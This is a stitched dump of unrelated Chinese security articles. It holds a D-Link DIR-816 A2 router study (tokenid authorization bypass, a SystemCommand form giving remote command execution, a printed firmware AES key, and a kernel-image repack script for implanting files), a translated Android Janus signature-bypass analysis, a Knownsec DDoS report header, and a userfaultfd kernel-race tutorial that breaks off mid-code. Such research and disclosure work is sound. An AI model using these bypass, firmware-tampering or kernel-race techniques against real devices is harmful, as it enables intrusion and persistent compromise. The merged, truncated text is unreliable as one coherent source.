这个全局hanlder中。该函数会首先判断是否启用了portal管理，如果未进行portal管理则首先对login变量进行检测，查看是否存在已登录过的管理主机。
后续的代码根据是否存在已认证的管理主机进行了两段额外的处理，接下来我们首先分析不存在登录管理主机的情况。
此时如果用户请求的是asp的页面，则只允许访问 **/dir_login.asp** 或 **/login_fail.asp**
页面，其他asp页面均会被重定向成 **/dir_login.asp** 页面。
而针对已存在登录管理主机的情况则会检测最近两次请求的间隔是否小于0x258(600)毫秒，如果小于600毫秒也会同样将请求重定向至
**/dir_login.asp** 。
接下来的代码是共通的处理逻辑，在上图中的代码执行完毕后，会再一次对访问间隔进行检测，如果间隔小于0x258(600)毫秒，则会清空
**load_host** 及 **login** 等变量。
如果间隔正常的话，则会继续判断发送请求的主机IP是否与load_host变量中的IP一致，如果不一致则将请求重定向至 **/dir_login.asp**
页面。接下来还会对是否存在访问限制进检测，随后结束这个Handler，将请求交由后续Handler处理。
下图是将判断portal管理模式之后的验证过程进行整理后的流程图，根据下面的流程图可以发现。在 **websSecurityHandler**
中主要是对ASP页面的请求进行了权限控制，认证方法也仅仅是检测了一下当前请求主机的IP地址是否与储存的管理主机的IP地址一致。而针对非ASP页面的请求则交由其他后续的Handler进行权限处理。
另一个重要的Hander就是 **websFormHandler** ，下面将对该Handler的主要判断部分进行分析，该函数首先检查了是否存在
**/etc/RAMConfig/tokenid** 这个文件。如果文件不存在则创建该文件并写入随机数字后读取，存在的话则读取其中的数据。
随后调用 **websGetVar** 函数获取goform请求中的tokenid参数，并调用 **websValueCheck**
对请求数据进行过滤后与文件中的数据进行比对，检查是否一致。
**WebsValueCheck** 函数会对请求的数值进行过滤。过滤的关键字如下图所示，如果请求的数据中包含如下图所示的关键字则不会继续执行该请求。
当tokenid及其他请求的参数全部合法后则代表验证通过，此时将会从符号中读取所请求的form名对应的Handler后跳转执行，如果请求的form在符号中不存在，则会返回form未定义的报错。
这里就出现一个问题了，对应form的请求D-Link只对 **tokenid** 进行了校验，这也意味着只要知道了 **tokenid** ,
无需进行其他验证即可调用所有支持的form请求。根据最初对登录过程的分析， **tokenid** 可以通过访问 **/dir_login.asp**
页面进行获取，这也导致了我们能够直接获取到 **tokenid** ，从而越权调用所有D-Link支持的form请求。
#### 3.2 form越权漏洞利用
通过对goahead的 **main** 函数进行分析，发现了大量的form定义处理的函数注册。
通过对一些列的函数进行分析后，发现了不少有趣的功能，例如下图所示的 **SystemCommand** 。
非常简单粗暴，直接传参command即可进行命令执行。
类似的form有很多，通过对部分form进行分析后发现，除了远程命令执行外，还存在越权修改账号密码、查看系统日志、清空系统日志、重置设备等一系列的危险调用。
### 4\. 固件升级流程分析
D-Link DIR-816的升级页面如下图所示。
选择升级包后点击上传，将会把文件使用post的方式发送给`/cgi-bin/upload.cgi`接口。
根据之前对`goahead`的分析，`cgi-bin`目录所对应的`Handler`函数为`websCgiHandler`该函数最后会通过调用`websLaunchCgiProc`函数执行对应的`cgi-bin`文件。
在`websLaunchCgiProc`函数中将会fork一个子进程，随后调用`execve`来执行cgi-bin文件。
通过在fork函数处下断点。我们可以结合上图的代码间接的分析出execve函数的参数。
POST请求的头部和尾部数据如下图所示。
#### 4.1 upload.cgi分析
通过对 **upload.cgi** 文件进行分析后发现，该文件会从环境变量中读取 **SERVER_SOFTWARE** 及
**UPLOAD_FILENAME** 这两个变量。
因此我们可以利用如下代码直接调用upload.cgi进行测试分析。
SERVER_SOFTWARE=lbp_server UPLOAD_FILENAME=/var/cgiHNYyMd /etc_ro/web/cgi-bin/upload.cgi
命令执行后 **upload.cgi** 会将上传的固件进行解析随后写入flash中。
接下来继续对upload.cgi进行分析，查看该程序实际执行了哪些操作。在代码头部有一系列的文字处理代码，用途是从我们发送的POST请求数据中提取文件内容，并保存到
**/var/image.img** 文件中。随后调用 **/bin/imgdecrypt** 命令对提取的固件进行解密操作。
完成解密操作后，调用 **/bin/mtd_write** 命令将解压后的固件写入flash中。
upload.cgi的主要工作就是上面说明的这些，因此固件升级的核心部分就是 **/bin/imgdecrypt** 命令。
#### 4.2 imgdecrypt分析
imgdecrypt比较有趣，他会根据自身文件名来判断执行镜像的解密或加密操作。
在 **decrypt_firmare** 函数头部，首先会将 **0123456789ABCDEF** 字符串写入到栈中。
随后调用 **sub_40266C** 函数计算用于解密镜像的key。
通过对在 **sub_40266C** 函数进行分析后，可以发现改函数主要从地址 **0x403010**
处开始获取用于aes解密的key，iv等一系列的数据。随后调用 **decryptData** 函数进行解密。
**0x403010** 地址处的数据如下图所示，成功利用下列数据解密后的key为 **C05FBF1936C99429CE2A0781F08D6AD8**
。
后续的代码会将计算完的key在终端进行打印。
打印出的key和aes解密结算的结果与之前计算的一致。
随后程序会调用 **verify_image** 对镜像进行解密操作，相关的参数如下图所示。
**verify_image** 函数首先会判断镜像的头部是否为SHRS。
通过对 **verify_image** 头部的代码进行分析后发现，该函数首先会判断image头部的magic是否为SHRS，
随后从镜像中的第8~12个字节读取用于解密数据的长度字段，接着在镜像文件偏移量0x6dc开始获取加密的数据内容进行sha512校验，将结果与镜像偏移量0x9C处的sha512值进行比对。
镜像头部的部分结构如下图所示。
在 **0x9C** 处存储了加密数据的sha512校验值。
在 **0x5C** 处存储了原始数据的sha512校验值。
当加密数据的SHA512值校验通过后，将会对加密数据调用 **decryptData** 进行解密， **decryptData** 函数的参数如下图所示。
**decryptData** 函数调用的参数值如下。
解密完成后，将会计算解密后数据的SHA512值并从镜像 **0x5C** 处读取SHA512值并进行校验。
在完成了全部的校验值计算后会调用 **verifyMD** 对解密和加密的数据进行RSA签名验证。
当签名全部验证通过后，将会把解密后的镜像保存到 **/var/.firmware.orig** 文件中。
随后回到upload.cgi中，调用 **/bin/mtd_write** 命令将解密后的镜像文件写入到flash中。
至此固件升级的流程就分析完毕了，由于固件升级包使用了RSA签名校验，因此直接伪造固件升级包的难度很大，只能与其他漏洞相结合的方式实现写入自定义固件的效果。
### 5\. 自定义固件写入研究
D-Link DIR-816 A2路由器的文件系统是直接加载在内存中的，每次重启后都会从flash中的kernel
image里重新读取加载。这样的设计方式可以提升系统的健壮性，在避免异常断电造成的文件损坏的同时，也使得传统恶意程序无法驻留在路由器中。本章节主要为了方便后续的研究及对植入驻留型恶意程序的可行性进行探索，对该路由器刷写自定义固件的方法进行了探索及研究。
#### 5.1 防砖准备工作
为了能够安全的进行固件写入测试，首先我们需要对flash中的固件进行备份，可以直接从flash中提取或是利用上一章节的方法从固件升级包中进行解密提取。下面是通过使用dd命令将MTD设备中的Kernel部分导出到web目录后进行下载备份的方法。
PS: 有Flash编程器的可以免去后续这些麻烦，直接通过编程器从Flash中读取备份。
# 使用DD命令直接从MTD设备中导出到路由器的web目录，随后即可通过网页http://192.168.0.1/mtd4_Kernel.dump直接下载
cat /proc/mtd
------------------output------------------ dev: size erasesize name
mtd0: 00400000 00010000 "ALL"
mtd1: 00030000 00010000 "Bootloader"
mtd2: 00010000 00010000 "Config"
mtd3: 00010000 00010000 "Factory"
mtd4: 003b0000 00010000 "Kernel"
------------------------------------------
/home/busybox.mipsel dd if=/dev/mtd4 of=/etc_ro/web/mtd4_Kernel.dump
------------------output------------------ 7552+0 records in
7552+0 records out
3866624 bytes (3.7MB) copied, 1.412360 seconds, 2.6MB/s
------------------------------------------
备份完固件后若测试中出现系统异常，只要uboot部分没有被破坏，即可使用路由器uboot引导界面的第二个菜单功能，进行固件的刷写还原。通过配置tftp服务器及文件名称后即可通过tftp进行固件的还原。
#### 5.2 linux kernel image分析
由于我们的目的是修改路由器内核中打包的文件，实现篡改数据或植入恶意程序的目的，因此首先要对封装的Linux kernel image进行分析。
首先使用binwalk对备份的kernel image进行分析可以发现这是一个uimage封装并使用lzma压缩的linux kernel image文件。
下面的代码用于手动从uimage封装的文件中提取lzma压缩的kernel image文件。
根据uimage中image size字段的大小3772774字节。
dd if=mtd4_Kernel.dump of=kernel_image.lzma bs=1 skip=64 count=3772774
此处遇到了一个坑，一定不能使用新版本的lzma去压缩，必须要使用特定版本的lzma工具才能正常解压和压缩。通过观察设备的启动过程可以发现设备是基于ralink的sdk进行开发的，因此我们也需要编译对应sdk中的lzma和xz等工具对镜像文件进行处理，否则再重打包镜像时会出现如下图所示的错误信息。
可以在网上搜索 **MediaTek_ApSoC_SDK_4320_20150414.tar.bz2**
这个版本的SDK，经测试该SDK中的工具可以用于成功处理我们的这个镜像文件。
使用编译好的lzma工具即可成功的解压该镜像文件，使用binwalk对解压后的文件进行分析可以看到该kernel
image中有一个使用xz压缩的文件。基本上在linux kernel
image中使用xz压缩的大多都是rootfs文件，也就是我们实际在路由器中看到的那些文件。
由于linux kernel
image本身是一个可执行文件，使用binwalk自动解压会导致提取出不属于xz部分的数据。根据xz文件格式的特征可以知道xz压缩文件有其特定的起始标识
**\xFD\x37\x7A\x58\x5A\x00** 和结束标识 **\x59\x5A** ([xz-file-format](https://github.com/addaleax/xz/blob/master/doc/xz-file-format.txt))
通过对文件进行分析后，即可得到xz文件在镜像中的正确起始及结束地址，提取和解压的命令如下。
dd if=kernel_image of=root_fs.xz bs=1 skip=4763648 count=2384780
# 查看xz文件的内容
~/IoT/tool/bin/xz -l root_fs.xz
------------------output------------------ Strms Blocks Compressed Uncompressed Ratio Check Filename
1 1 2,328.9 KiB 9,294.0 KiB 0.251 CRC32 root_fs.xz
------------------------------------------
# 解压xz文件
~/IoT/tool/bin/xz -d root_fs.xz
通过使用file命令可以得知解压后的xz数据是一个cpio归档文件，进一步查看后可以确认这个文件就是我们所需要修改的root_fs文件。
\# 确认解压后的文件类型
file root_fs
------------------output------------------ root_fs: ASCII cpio archive (SVR4 with no CRC)
\------------------------------------------
\# 使用cpio命令查看归档的文件列表
cpio -tv -F root_fs|more
------------------output------------------ drwxrwxr-x 2 541 541 0 Aug 24 19:30 /sys
drwxrwxr-x 2 541 541 0 Aug 24 19:30 /mnt
drwxrwxr-x 2 541 541 0 Aug 24 19:30 /dev
crw--w--w- 1 root 541 240, 0 Aug 24 19:30 /dev/ac0
crw-rw---- 1 root 541 90, 8 Aug 24 19:30 /dev/mtd4
crw--w--w- 1 root 541 217, 0 Aug 24 19:30 /dev/spiS0
crw--w--w- 1 root 541 4, 64 Aug 24 19:30 /dev/ttyS0
brw-rw---- 1 root 541 31, 1 Aug 24 19:30 /dev/mtdblock1
brw-rw---- 1 root 541 31, 6 Aug 24 19:30 /dev/mtdblock6
crw--w--w- 1 root 541 251, 0 Aug 24 19:30 /dev/nvram
crw-rw-rw- 1 root 541 5, 2 Aug 24 19:30 /dev/ptmx
crw-rw-rw- 1 root 541 1, 3 Aug 24 19:30 /dev/null
crw--w--w- 1 root 541 218, 0 Aug 24 19:30 /dev/i2cM0
crw-rw---- 1 root 541 90, 1 Aug 24 19:30 /dev/mtd0ro
crw-rw-rw- 1 root 541 1, 2 Aug 24 19:30 /dev/kmem
crw--w--w- 1 root 541 253, 0 Aug 24 19:30 /dev/rdm0
brw-rw---- 1 root 541 31, 2 Aug 24 19:30 /dev/mtdblock2
\------------------------------------------
下一步就是提取cpio中的文件了，提取命令如下。
创建目录rootfs
mkdir rootfs
cd rootfs
\# 解压root_fs归档中的文件到rootfs目录中
cat ../root_fs | cpio -idmvH newc --no-absolute-filenames
\# 成功解压后即可在目录中看到归档中的文件了。
ls -la
------------------output------------------ total 64
drwxr-xr-x 16 hack hack 4096 1月 16 11:55 .
drwxr-xr-x 4 hack hack 4096 1月 16 11:55 ..
drwxrwxr-x 2 hack hack 4096 1月 16 11:55 bin
drwxrwxr-x 3 hack hack 4096 1月 16 11:55 dev
drwxrwxr-x 2 hack hack 4096 1月 16 11:55 etc
drwxrwxr-x 9 hack hack 4096 1月 16 11:55 etc_ro
drwxrwxr-x 2 hack hack 4096 1月 16 11:55 home
lrwxrwxrwx 1 hack hack 11 1月 16 11:55 init -> bin/busybox
drwxr-xr-x 4 hack hack 4096 1月 16 11:55 lib
drwxrwxr-x 2 hack hack 4096 8月 24 19:30 media
drwxrwxr-x 2 hack hack 4096 8月 24 19:30 mnt
drwxrwxr-x 2 hack hack 4096 8月 24 19:30 proc
drwxrwxr-x 2 hack hack 4096 1月 16 11:55 sbin
\------------------------------------------
此时我们就可以在这个目录里对原始的文件进行任意的修改，或增加新的文件进去。不过需要注意的是DIR-816
A2路由器所使用的flash容量一共是4M,原始镜像已经几乎占满了所有的空间，因此很难在追加什么新大文件进去。
#### 5.3 重打包linux kernel image
重打包的方法其实就是把解开分析rootfs的方法反着做一遍即可，此处会在进行cpio归档时遇到一个小问题，cpio归档时无法修改归档文件的路径信息，也就是说我们无法将
**rootfs** 目录下的文件路径信息修改为 **/** 。
# 进入rootfs目录
cd rootfs
# 归档rootfs下的所有文件
find . |cpio -H newc -o > ../root_fs.cpio
# 查看归档的结果,可以发现文件归档的路径是相对路径。
cpio -tv -F ../root_fs.cpio|more
------------------output------------------ drwxr-xr-x 16 hack hack 0 Jan 16 11:55 .
drwxrwxr-x 2 hack hack 0 Jan 16 11:55 sbin
-rwxr-xr-x 1 hack hack 29541 Aug 24 19:29 sbin/internet.sh
-rwxr-xr-x 1 hack hack 3073 Aug 24 19:29 sbin/config-powersave.sh
lrwxrwxrwx 1 hack hack 14 Jan 16 11:55 sbin/poweroff -> ../bin/busybox
-rwxr-xr-x 1 hack hack 7356 Aug 24 19:29 sbin/lan.sh
-rwxr-xr-x 1 hack hack 8981 Aug 24 19:29 sbin/virtual_server_dmz_s
------------------------------------------
此时有个小技巧，可以使用pax命令行工具进行重打包, 利用pax工具的-s参数将路径名进行替换操作。
使用pax打包rootfs目录，并对文件路径使用-s参数替换，替换语法和sed命令的替换方法相同。
pax -w -x sv4cpio -s '/rootfs//' rootfs > root_fs.cpio
\# 查看归档的结果,可以发现文件归档的路径已被改写为/目录。
cpio -tv -F root_fs.cpio|more
------------------output------------------ drwxrwxr-x 2 hack hack 0 Jan 16 11:55 /sbin
-rwxr-xr-x 1 hack hack 29541 Aug 24 19:29 /sbin/internet.sh
-rwxr-xr-x 1 hack hack 3073 Aug 24 19:29 /sbin/config-powersave.sh
lrwxrwxrwx 1 hack hack 14 Jan 16 11:55 /sbin/poweroff -> ../bin/busybox
-rwxr-xr-x 1 hack hack 7356 Aug 24 19:29 /sbin/lan.sh
-rwxr-xr-x 1 hack hack 8981 Aug 24 19:29 /sbin/virtual_server_dmz_set2.sh
-rwxr-xr-x 1 hack hack 5120 Aug 24 19:29 /sbin/lan_web_filter.sh
-rwxr-xr-x 1 hack hack 1840 Aug 24 19:29 /sbin/portal_manage.sh
-rwxr-xr-x 1 hack hack 1143 Aug 24 19:29 /sbin/automount.sh
-rwxrwxr-x 1 hack hack 238 Aug 24 19:29 /sbin/pt_hotplug
\------------------------------------------
在完成了上述准备工作后即可使用如下python脚本进行重打包。
\# !/usr/bin/env python2
\# coding=utf-8
import sys
import os
original_image_file = open("kernel_image", 'rb')
original_image_data = original_image_file.read()
original_xz_root_fs_start_offset = 0x48b000
original_root_fs_end_offset = 0x6d138c
original_root_fs_size = original_root_fs_end_offset - original_xz_root_fs_start_offset
working_folder = '/home/hack/IoT/D-Link_image'
root_fs_folder_name = 'rootfs'
xz_path = '/home/hack/IoT/tool/bin/xz'
lzma_path = '/home/hack/IoT/tool/bin/lzma'
\# archive rootfs with cpio
cpio_archive_cmd = "cd %s ;pax -w -x sv4cpio -s '/%s//' %s > root_fs.cpio" % (working_folder, root_fs_folder_name, root_fs_folder_name)
print("execute: %s" % cpio_archive_cmd)
os.popen(cpio_archive_cmd)
\# compress rootfs with xz
xz_cmd = "cd %s ;%s --check=crc32 -z -c root_fs.cpio > root_fs.cpio.xz" % (working_folder, xz_path)
print("execute: %s" % xz_cmd)
os.popen(xz_cmd)
\# repack_image
new_image_name = 'kernel_image_hacked.img'
new_image = open(new_image_name, 'wb')
new_xz_root_fs_path = 'root_fs.cpio.xz'
new_xz_root = open(new_xz_root_fs_path, 'rb')
new_xz_root_data = new_xz_root.read()
if len(new_xz_root_data) > original_root_fs_size:
print("new image is too big, exit")
sys.exit()
new_image_data = original_image_data[:original_xz_root_fs_start_offset]
new_image_data += new_xz_root_data + ('\x00' * (original_root_fs_size - len(new_xz_root_data)))
new_image_data += original_image_data[original_root_fs_end_offset:]
new_image.write(new_image_data)
\# compress image with lzma
lzma_cmd = "cd %s ;rm kernel_image_hacked.img.lzma; %s -z kernel_image_hacked.img" % (working_folder, lzma_path)
print("execute: %s" % lzma_cmd)
os.popen(lzma_cmd)
\# make uimage
mkimg_cmd = 'cd %s; mkimage -A MIPS -O Linux -T kernel -C lzma -n "Linux Kernel Image" -a 80000000 -e 8000C2F0 -d kernel_image_hacked.img.lzma kernel_image_hacked.uimg' % (working_folder)
os.popen(mkimg_cmd)
至此一个重新打包过的linux kernel image就制作完成了，我们可以直接使用uboot中刷写Linux
Kernel的功能或是利用漏洞将文件上传到服务器后结合命令执行漏洞直接调用mtd_write命令进行linux kernel image的覆写操作。
作为实验，我改写了hw_nat.sh文件，添加了从远端下载shell脚本自动执行的功能。
这样在路由器启动时就会从tftp服务器中下载shell脚本并执行了。终于不用每次都手工上传gdbserver和busybox了@_@。
### 6\. 总结
这篇文章主要分享的是我研究D-Link DIR-816
A2路由器的过程以及遇到的一些坑，希望这篇文章能够帮助到那些对IoT安全研究感兴趣或是苦于无从下手的同学们。这款路由器的安全问题还是比较多的，针对发现的安全漏洞我们也已于今年1月提交给了D-Link厂商。
PS: 设备中还存在疑似后门的开启telnet服务的特殊代码 ^ ^。
* * * | 社区文章 |
# 独家分析：安卓“Janus”漏洞的产生原理及利用过程
##### 译文声明
本文是翻译文章，文章原作者 顶象技术，文章来源：dingxiang-inc.com
原文地址：<https://www.dingxiang-inc.com/blog/post/58>
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
近日，Google在12月发布的安卓系统安全公告中披露了一个名为“Janus”安卓漏洞（漏洞编号：CVE-2017-13156）。该漏洞可以让攻击者绕过安卓系统的signature
scheme V1签名机制，进而直接对App进行篡改。而且由于安卓系统的其他安全机制也是建立在签名和校验基础之上，该漏洞相当于绕过了安卓系统的整个安全机制。
**一旦攻击者将植入恶意代码的仿冒的App投放到安卓商店等第三方应用市场，就可替代原有的App做下载、更新。网友安装这些仿冒App后，不仅会泄露个人账号、密码、照片、文件等隐私信息，手机更可能被植入木马病毒，进而或导致手机被ROOT，甚至被远程操控。**
在第一时间监测到“Janus”漏洞的情况后，顶象技术及时更新了“安全SDK”的防御策略，并率先发布了针对该漏洞的防护方案，以帮助广大用户防范基于该漏洞的攻击威胁。
分析显示，安卓5.0到8.0系统以及基于signature scheme V1签名机制的App均受“Janus”漏洞影响；基于signature
scheme V2签名的App则不受影响。
## “Janus”漏洞爆发原因是什么？
为了提升安卓系统的安全性，Google发布了新的签名认证体系 **signature scheme V2** 。由于，signature scheme
V2需要对App进行重新发布，而大量的已经存在的App
APK无法使用V2校验机制，所以为了保证向前兼容性，V1的校验方式的还被保留，这就导致了“Janus”漏洞的出现。
Google为什么发布signaturescheme V2呢？那就盘点一下，近年来安卓系统曾爆出的一系列安全问题吧。
## 这些年，安卓系统爆出的签名漏洞
### **“MasterKey”漏洞**
**“Janus”是一个签名与校验漏洞** ，其实，这不是安卓第一次爆出此类漏洞。在2013年 Black
Hat上，Bluebox的安全团队公布了一个“MasterKey”漏洞。该漏洞影响包括当时最新的安卓6.0系统及以下所有系统。那么，这些漏洞是怎么形成的呢？
“MasterKey”漏洞原理是基于APK（ZIP文件格式）里面的多个ZipEntry实现的，具体如下：
1\. 向原始的App APK的前部添加一个攻击的classes.dex文件（A)；
2\. 安卓系统在校验时计算了A文件的hash值，并以”classes.dex”字符串做为key保存；
3\.
然后安卓计算原始的classes.dex文件（B），并再次以”classes.dex”字符串做为key保存，这次保存会覆盖掉A文件的hash值，导致Android系统认为APK没有被修改，完成安装；
4\. APK程序运行时，系统优先以先找到的A文件执行，忽略了B，导致漏洞的产生。
**修复方式：**
禁止安装有多个同名ZipEntry的APK文件。
### **“9695860”漏洞**
MasterKey漏洞爆出后没多久，国内的“安卓安全小分队”再爆出一个类似的漏洞。这个漏洞非常精巧：利用了Zip local file
header在计算时候的一个整形溢出漏洞。
**具体原因：**
1\. 向原有的APK中的classes.dex文件B替换为攻击文件A，并添加一个大小为0xFFFD的extrafield；
2\. 将原始dex文件B去除头3个字节写入extrafield；
3\. Android系统在校验签名时使用的是Java代码的short，将0xFFFD以16位带符号整形的方式解析得到-3,
并解析出原始的文件B，Android认为程序APK无修改，正常安装；
4\. 系统在执行时使用C代码的uint16，将0xFFFD以16位无符号整形方式，得到攻击文件B。
这个漏洞的精巧之处在于，DEX文件以‘dex’字符串开头，而classes.dex以这个字符串结尾，通过-3的值将这两个内容在文件中重叠起来，因此这也限制了“9695860”漏洞只能对classes.dex进行攻击。
### **“9950697”漏洞**
在“9695860”漏洞爆出不久后，APK文件中被发现存在类似的整形溢出漏洞，这个比“9695860”漏洞更容易利用且可以攻击APK中的任意文件。
原因是安卓默认认为Zip中localfile header和central directory
entry中的文件名长度和和extra的长度是一致的。安装过程中java代码在处理时出现溢出，读取到了正常的文件B，通过校验，APK正常安装。运行过程中，C代码处理时没有溢出，读取到了攻击的文件A。
**Google发布了signature scheme V2签名机制**
以上的一系列漏洞全部出在基于jarsigner机制建立起来的签名和校验机制signature scheme
V1出现。Google也意识到了这套机制的缺陷，所以，发布了重新设计的Siginature scheme V2签名机制。
**Siginature scheme V2 APK文件整个内容进行签名，目标是任何对APK的修改都会导致检验的失败。**
目前signature scheme V2已经在安卓7.0系统及以上的版本中支持。
## “Janus”漏洞的攻击原理、利用过程
### **攻击原理**
1、安卓在4.4中引入了新的执行虚拟机ART，这个虚拟机经过重新的设计，实现了大量的优化，提高了应用的运行效率。与“Janus”有关的一个技术点是，
**ART允许运行一个raw
dex，也就是一个纯粹的dex文件，不需要在外面包装一层zip。而ART的前任DALVIK虚拟机就要求dex必须包装在一个zip内部且名字是classes.dex才能运行。**
当然ART也支持运行包装在ZIP内部的dex文件，要区别文件是ZIP还是dex，就通过文件头的magic字段进行判断：ZIP文件的开头是‘PK’,
而dex文件的开头是’dex’.
2、ZIP文件的读取方式是通过在文件末尾定位central directory, 然后通过里面的索引定位到各个zip
entry，每个entry解压之后都对应一个文件。
### **影响的范围**
**1\. 安卓5.0-8.0的各个版本系统；**
2\. 使用安卓Signaturescheme V1签名的App APK文件。
### **利用过程**
1、攻击者可以向APK文件的开始位置放置一个攻击的DEX文件A；
2\.
安卓系统在安装时用ZIP的读取机制从末尾开始进行文件的读取，读取到了原始的APK内容，并且以V1的方式进行校验，认为这个文件是正常的，没有篡改，APK安装成功；
3\. 在运行时，Android的ART虚拟机从文件头开始读取，发现是一个DEX文件，直接执行，攻击文件A被最终执行。
### **带来的威胁**
可以在没有apk所有者的证书的情况下对apk进行修改，并且绕过校验机制安装在用户的手机上，造成的可能后果如下：
1\. 对存储在原手机上的数据进行读取，例如金融类APP的银行密码、支付密码、token; 通信类APP的聊天记录、图片、通信录
2\. 对用户的输入做各种监听、拦截、欺诈，引导用户输入密码，转账。
3\. 利用这个漏洞可以更新Android的系统APP，从获得更高的系统权限，甚至root/越狱，为其他攻击做准备
## 顶象技术的防护及修复建议
顶象技术一直关注移动端、WEB端上的各类风险以及各平台的业务威胁。及时分析监测到漏洞和威胁，并做好针对性的防护措施，由此积累了大量与黑灰产对抗的实战经验。顶象技术将这些实战经验以“安全SDK”的产品方式共享给用户，从而帮助用户建立高效的防御体系，有效防御各类新型的、复杂的恶意攻击和威胁。
在第一时间监测到“Janus”漏洞的情况后，顶象技术及时更新了“安全SDK”的防御策略，并率先发布了针对该漏洞的安全防护方案，以帮助广大用户防范基于该漏洞的攻击威胁。
### **安卓用户：**
1、尽快升级到最新版安卓系统；
2、尽量到官方网站更新、下载App，短期内不用使用第三方安卓应用市场更新或下载App。
### **安卓开发者：**
1、将App APK升级到最新的Signature scheme V2签名机制；
2、开发者及时校验App APK文件的开始字节，以确保App未被篡改;
3、使用顶象技术提供的安全SDK，以防范该漏洞的攻击。
顶象技术是互联网业务安全的引导者，致力于打造零风险的数字世界，成立于2017年4月，红杉资本中国基金成员企业。顶象技术拥有领先的风控技术和智能终端安全技术，其首创的“共享安全”理念已成为新一代安全产品的标准架构。通过全景式业务安全风控体系、无感验证、虚机源码保护、安全SDK等方案和产品，赋予电商、金融、IoT、航空、游戏、社交等企业提供BAT级的业务安全能力，让平台和用户免受薅羊毛、交易欺诈、账号盗用、内容被恶意抓取、系统和App遭破解等风险威胁。 | 社区文章 |
**Author: Knownsec 404 Team
ZoomEye Topic: <https://www.zoomeye.org/topic?id=Global-Detection-and-Analysis-of-Amplified-Reflection-DDoS-Attacks>
PDF:
[download](https://images.seebug.org/archive/Global_Detection_and_Analysis_of_Amplified_Reflection_DDoS_Attacks_-_V5.0_6KiNBuP.pdf "download")
Chinese Version: <https://paper.seebug.org/898/>**
### 1.Updates
Version | Date | Description
---|---|---
V1.0 | 2017/08/07 | Complete the first round of data statistics
V2.0 | 2017/08/14 | Complete the second round of data statistics
V3.0 | 2017/11/15 | Complete the third round of data statistics, Increase data
detection for cldap
V4.0 | 2018/03/05 | Complete the fourth round of data statistics, Increase
data detection for Memcached
V5.0 | 2019/05/06 | On the basis of the fourth round of data statistics,
increase the detection of CoAP, and perfect the fifth edition | 社区文章 |
## userfaulfd 简介
内核内存包含两个部分：RAM，保存即将被使用的内存页；交换区，保存暂时闲置的内存页。然而有的内存即不在 RAM，也不在 交换区中，例如
mmap创建的内存映射页。在内核 read、write操作 mmap分配的内存前，内核并没有将该内存页映射到实际的物理页中。而当内核读取
mmap分配的内存页时，内核则会进行一下步骤为 mmap的内存页映射一个实际的物理页：
1. 为 mmap内存页地址建立物理帧；
2. 读内容到 该物理帧；
3. 在页表中标记入口，以识别 0x1337000虚地址。
这个整个过程，可以称作发生了一次缺页错误，将会导致内核切换上下文和中断。
而
userfaultfd机制可以让用户来监管此类缺页错误，并在用户空间完成对这类错误的处理。也就是一旦我们在内核触发了一次缺页错误，可以利用用户态的程序去穿插执行一些操作，这为我们内核条件竞争的利用提供了很大方便。
### 基本步骤
#### 创建一个描述符 uffd
要使用 userfaultfd，需要先创建一个 uffd
// userfaultfd系统调用创建并返回一个uffd，类似一个文件的fd
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
之后所有的注册内存区间、配置和最终的缺页处理都需要用 ioctl对这个 uffd操作实现。ioctl-userfaultfd支持
UFFDIO_API、UFFDIO_REGISTER、UFFDIO_UNREGISTER、UFFDIO_COPY、UFFDIO_ZEROPAGE、UFFDIO_WAKE等选项。其中
UFFDIO_REGISTER可以用于向
userfaultfd机制注册一个监视去也。UFFDIO_COPY可用于当发生缺页错误时，向缺页的地址拷贝自定义的数据。
# 2 个用于注册、注销的ioctl选项：
UFFDIO_REGISTER 注册将触发user-fault的内存地址
UFFDIO_UNREGISTER 注销将触发user-fault的内存地址
# 3 个用于处理user-fault事件的ioctl选项：
UFFDIO_COPY 用已知数据填充user-fault页
UFFDIO_ZEROPAGE 将user-fault页填零
UFFDIO_WAKE 用于配合上面两项中 UFFDIO_COPY_MODE_DONTWAKE 和
UFFDIO_ZEROPAGE_MODE_DONTWAKE模式实现批量填充
#### 注册监视区域
然后，需要为监视的内存进行注册。这里使用上述提到的 UFFDIO_REGISETR操作：
addr = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)
// addr 和 len 分别是我匿名映射返回的地址和长度，赋值到uffdio_register
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
// mode 只支持 UFFDIO_REGISTER_MODE_MISSING
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
// 用ioctl的UFFDIO_REGISTER注册
ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);
这里，需要指定的 监视的 地址和长度，然后调用 ioctl进行注册。
#### 创建一个专用的线程轮询和处理 user-fault事件
然后，需要创建一个线程用于轮询和处理 user-fault事件。这里可以重启一个线程，因为需要轮询，避免阻塞主线程。
// 主进程中调用pthread_create创建一个fault handler线程
pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
在子线程中，使用 poll函数轮询 uffd，当轮询到缺页事件后，可以先写上自己的处理代码，随后用轮询到的
UFFD_EVENT_PAGEFAULT事件用上述提到的 UFFDIO_COPY拷贝数据到缺页处。
static void * fault_handler_thread(void *arg)
{
// 轮询uffd读到的信息需要存在一个struct uffd_msg对象中
static struct uffd_msg msg;
// ioctl的UFFDIO_COPY选项需要我们构造一个struct uffdio_copy对象
struct uffdio_copy uffdio_copy;
uffd = (long) arg;
......
for (;;) { // 此线程不断进行polling，所以是死循环
// poll需要我们构造一个struct pollfd对象
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
poll(&pollfd, 1, -1);
// 读出user-fault相关信息
read(uffd, &msg, sizeof(msg));
// 对于我们所注册的一般user-fault功能，都应是UFFD_EVENT_PAGEFAULT这个事件
assert(msg.event == UFFD_EVENT_PAGEFAULT);
//我们自己的处理代码
// 构造uffdio_copy进而调用ioctl-UFFDIO_COPY处理这个user-fault
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
// page(我们已有的一个页大小的数据)中page_size大小的内容将被拷贝到新分配的msg.arg.pagefault.address内存页中
ioctl(uffd, UFFDIO_COPY, &uffdio_copy);
......
}
}
而在上述的处理函数中，穿插的我们自己的处理代码，就可以帮助实现条件竞争。
## 2020-SECCON kstack
### 程序分析
__int64 proc_init()
{
proc_file_entry = proc_create("stack", 0LL, 0LL, &proc_file_fops);
